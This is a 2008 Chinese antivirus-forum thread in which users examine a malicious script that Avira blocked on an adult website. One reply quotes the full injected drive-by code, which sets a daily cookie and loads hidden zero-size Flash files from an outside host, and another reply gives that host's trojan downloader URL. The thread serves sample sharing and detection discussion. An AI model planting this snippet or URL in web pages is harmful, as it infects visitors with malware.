H网红伞阻挡的东东

显示全部楼层 · 发表于 2008-7-7 17:44:46

可能是广告？

显示全部楼层 · 发表于 2008-7-7 17:50:20

原帖由周勃于 2008-7-7 17:44 发表
可能是广告？
305162

<html>
<script>window.onerror=function(){return true;}</script>
<script>
function init(){window.status="";}window.onload = init;
if(document.cookie.indexOf("play=")==-1)
{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="play=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0" width="0" height="0" align="middle">');
document.write('<param name="allowScriptAccess" value="sameDomain"/>');
document.write('<param name="movie" value="http://sda.jhsadk817bb.com/4561.swf"/>');
document.write('<param name="quality" value="high"/>');
document.write('<param name="bgcolor" value="#ffffff"/>');
document.write('<embed src=http://sda.jhsadk817bb.com/4561.swf"/>');
document.write('</object>');
}
else{document.write("<EMBED src=http://sda.jhsadk817bb.com/4562.swf width=0 height=0>");}
}
</script>
<html>

太明显的挂马语句了..就是正常红伞都可能报

显示全部楼层 · 发表于 2008-7-7 17:58:06

可大多数杀软都没报

显示全部楼层 · 发表于 2008-7-7 18:12:17

duba 0

显示全部楼层 · 发表于 2008-7-7 18:34:22

原帖由周勃于 2008-7-7 17:58 发表
可大多数杀软都没报

主要没下载东西..还有个下载的东西杀软没病毒库特征码..

还有就是WEB反病毒根本没做好好

显示全部楼层 · 发表于 2008-7-7 18:47:23

难怪
我根本就是禁用WEB监控的。

显示全部楼层 · 发表于 2008-7-7 20:48:28

直接拦了

显示全部楼层 · 发表于 2008-7-7 20:52:58

http://sda.jhsadk817bb.com/kao.exe

[ 本帖最后由 tanlimo 于 2008-7-7 21:06 编辑 ]

显示全部楼层 · 发表于 2008-7-7 21:11:36

Warning: A virus or unwanted program has been found in the HTTP Data.

Requested URL: http://bbs.kafan.cn/attachment.p ... eb&t=1215436245
Information: Is the Trojan horse TR/Crypt.XDR.Gen

Generated by AntiVir WebGuard 8.0.13.0, AVE 8.1.0.64, VDF 7.0.5.57

显示全部楼层 · 发表于 2008-7-7 23:01:24

附件:Contains suspicious code HEUR/HTML.Malware

kao.exe
Access to the data has been denied!
Warning: A virus or unwanted program has been found in the HTTP Data.

Requested URL: http://sda.jhsadk817bb.com/kao.exe
Information: Is the Trojan horse TR/Downloader.Gen

Generated by AntiVir WebGuard 8.0.13.0, AVE 8.1.0.64, VDF 7.0.5.56

[ 本帖最后由毒枭于 2008-7-7 23:02 编辑 ]

[病毒样本] H网红伞阻挡的东东

本帖子中包含更多资源

本帖子中包含更多资源

回复 2楼 saber123 的帖子

回复 5楼 saber123 的帖子

本帖子中包含更多资源

本帖子中包含更多资源